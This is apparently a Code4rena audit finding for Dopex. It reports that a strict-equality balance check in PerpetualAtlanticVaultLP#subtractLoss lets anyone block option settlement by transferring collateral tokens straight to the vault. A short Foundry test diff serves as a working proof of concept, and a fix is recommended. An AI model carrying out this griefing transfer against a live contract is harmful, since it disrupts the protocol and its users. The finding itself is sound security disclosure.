Dopex - pks_'s results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

Impact

Function PerpetualAtlanticVaultLP#subtractLoss is used to adjust totalCollateral parameter and called by PerpetualAtlanticVault#settle() function, which is used to settle options by admin. When adjust the totalCollateral, it require collateral.balanceOf(address(this)) == _totalCollateral - loss to satisfy the condition. But a malicious user can transfer collateral token to PerpetualAtlanticVault contract directly to break the condition. Such that, protocol settle options function would dos.

Proof of Concept

Below is the Poc to show protocol would dos directly, just insert such code into tests/rdpxV2-core/Integration.t.sol#testIntegration test case:

--- a/tests/rdpxV2-core/Integration.t.sol
+++ b/tests/rdpxV2-core/Integration.t.sol
@@ -116,6 +116,14 @@ contract Integration is ERC721Holder, Setup {
     );
     rdpxPriceOracle.updateRdpxPrice(2 * 1e7);
 
+    // transfer to vaultLp directly
+    address attacker = address(100);
+    console.log("attacker: ", attacker);
+    weth.mint(attacker, 1);
+    vm.startPrank(attacker);
+    weth.transfer(address(vaultLp), 1);
+    vm.stopPrank();
+
     // settle options
     uint256[] memory ids = new uint256[](6);
     ids[0] = 2;

Test result: [FAIL. Reason: Not enough collateral was sent out] testIntegration() (gas: 6085101).

Tools Used

vscode, manual review

Recommended Mitigation Steps

Use gt instead of equal operator.

    require(
        collateral.balanceOf(address(this)) >= _totalCollateral - loss,
        "Not enough collateral was sent out"
    );

Assessed type

DoS